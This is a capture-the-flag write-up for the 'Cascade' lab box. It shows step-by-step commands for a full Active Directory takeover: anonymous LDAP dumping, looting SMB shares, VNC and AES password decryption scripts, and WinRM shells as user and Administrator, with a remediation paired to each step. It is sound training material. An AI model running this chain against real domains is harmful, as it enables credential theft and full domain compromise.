Cascade
Summary
I performed an anonymous LDAP null-bind against the cascade.local domain controller and discovered a non-standard Active Directory attribute, cascadeLegacyPwd, left behind on user r.thompson by an account-migration script, containing a base64-encoded legacy cleartext password. With those credentials I browsed an over-permissioned SMB file share and recovered a VNC viewer registry export that stored an obfuscated password for a second account, s.smith, whose WinRM access yielded the user flag.
Pivoting with s.smith, I downloaded an internal audit application from a second share, along with its SQLite credential database. Static string extraction from the application's crypto DLL revealed a hardcoded AES key and initialization vector compiled in plaintext; decrypting the stored ciphertext recovered the domain Administrator password and completed full domain takeover.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD4="<the-password-you-recovered>"
export PASSWORD5="<the-password-you-recovered>"
export PASSWORD6="<the-password-you-recovered>"
export PASSWORD7="<the-password-you-recovered>"
export KEY="<the-key-you-recovered>"
export KEY2="<the-key-you-recovered>"Some commands also carry a value in angle brackets — <hex_password_bytes_from_reg> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Register the DC hostname and domain for local name resolution.
$ echo "$TARGET casc-dc1.cascade.local cascade.local" | sudo tee -a /etc/hostsTargeted service-version scan of all Active Directory-relevant ports.
$ nmap -sV -sC -p 53,88,135,139,389,445,636,5985 $TARGET -oN casc-dc1-nmap.txtConfirm OS, domain, SMB signing, and null-session access.
$ nxc smb $TARGETExact commands 3
Anonymous bind; dump all user objects and filter for the legacy password attribute.
$ ldapsearch -x -H ldap://$TARGET -b 'DC=cascade,DC=local' '(objectClass=user)' dn sAMAccountName cascadeLegacyPwd 2>/dev/null | grep -B2 'cascadeLegacyPwd'Decode the base64 value to recover the plaintext: <withheld>.
$ printf '%s' "$PASSWORD5" | base64 -d && echoValidate the recovered credential and enumerate accessible SMB shares.
$ nxc smb $TARGET -d cascade.local -u r.thompson -p "$PASSWORD6" --sharesFixDisable anonymous LDAP bind and purge the cascadeLegacyPwd attributeCritical
Exact commands 4
Download the entire Data share into a local working directory.
$ mkdir -p /tmp/cascade_Data && smbclient //$TARGET/Data -U "cascade.local/r.thompson%$PASSWORD6" -c 'recurse ON; prompt OFF; mget *'List all downloaded files to locate credential-bearing paths.
$ find /tmp/cascade_Data -type f -maxdepth 8 -printf '%P\n'Extract the obfuscated VNC password value (REG_BINARY hex bytes) from the registry export.
$ grep -i -n 'Password' '/tmp/cascade_Data/IT/Temp/s.smith/VNC Install.reg'Standard VNC DES decryption with the fixed viewer key; substitute the hex bytes from the Password= line.
$ python3 -c "
import binascii
from Crypto.Cipher import DES
key = bytes([0xe8,0x4a,0xd6,0x60,0xc4,0x72,0x1a,0xe0])
ct = binascii.unhexlify('<hex_password_bytes_from_reg>')
print(DES.new(key, DES.MODE_ECB).decrypt(ct).rstrip(b'\x00').decode())
"FixRestrict the Data SMB share and remove credential files from shared storageHigh
Exact commands 3
Confirm WinRM access; Pwn3d! Indicates command execution.
$ nxc winrm $TARGET -d cascade.local -u s.smith -p "$PASSWORD7"Open a full interactive WinRM shell as s.smith.
$ evil-winrm -i $TARGET -u s.smith -p "$PASSWORD7"Read the user flag from within the shell; value is <user.txt>.
$ type C:\Users\s.smith\Desktop\user.txtExact commands 3
Download the entire Audit$ share.
$ mkdir -p /tmp/cascade_Audit && smbclient //$TARGET/Audit$ -U "cascade.local/s.smith%$PASSWORD7" -c 'recurse ON; prompt OFF; mget *'List tables; confirm the Ldap table exists.
$ sqlite3 /tmp/cascade_Audit/DB/Audit.db '.tables'Read stored LDAP credentials; returns username, AES ciphertext, and domain.
$ sqlite3 /tmp/cascade_Audit/DB/Audit.db 'SELECT * FROM Ldap;'FixRemove the Audit$ credential database from a shared location and restrict share accessHigh
Exact commands 2
Extract exactly 16-character strings; the AES key and IV appear as plaintext literals.
$ strings -n 4 /tmp/cascade_Audit/CascCrypto.dll | grep -E '^.{16}$'Decrypt the Audit.db ciphertext using the hardcoded key and IV; output: <withheld>.
$ python3 - <<PY
from base64 import b64decode
from Crypto.Cipher import AES
ct = b64decode("$PASSWORD")
key = b"$KEY"
iv = b"$KEY2"
print(AES.new(key, AES.MODE_CBC, iv).decrypt(ct).rstrip(b'\x00').decode())
PYFixReplace the hardcoded AES key and IV in CascCrypto.dll with runtime key retrieval from a secrets storeCritical
Exact commands 3
Confirm Administrator WinRM access; Pwn3d! Output confirms full control.
$ nxc winrm $TARGET -d cascade.local -u Administrator -p "$PASSWORD4"Open an interactive Administrator shell.
$ evil-winrm -i $TARGET -u Administrator -p "$PASSWORD4"Read the root flag; value is <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtExposed services
| 53/tcp | domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1) |
| 88/tcp | kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-09 07:46:05Z) |
| 135/tcp | msrpc Microsoft Windows RPC |
| 139/tcp | netbios-ssn Microsoft Windows netbios-ssn |
| 389/tcp | ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name) |
| 445/tcp | microsoft-ds? |
| 636/tcp | tcpwrapped |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 49154/tcp | unknown recon-sweep-discovered |
| 49155/tcp | unknown recon-sweep-discovered |
| 49157/tcp | unknown recon-sweep-discovered |
| 49158/tcp | unknown recon-sweep-discovered |
| 49165/tcp | unknown recon-sweep-discovered |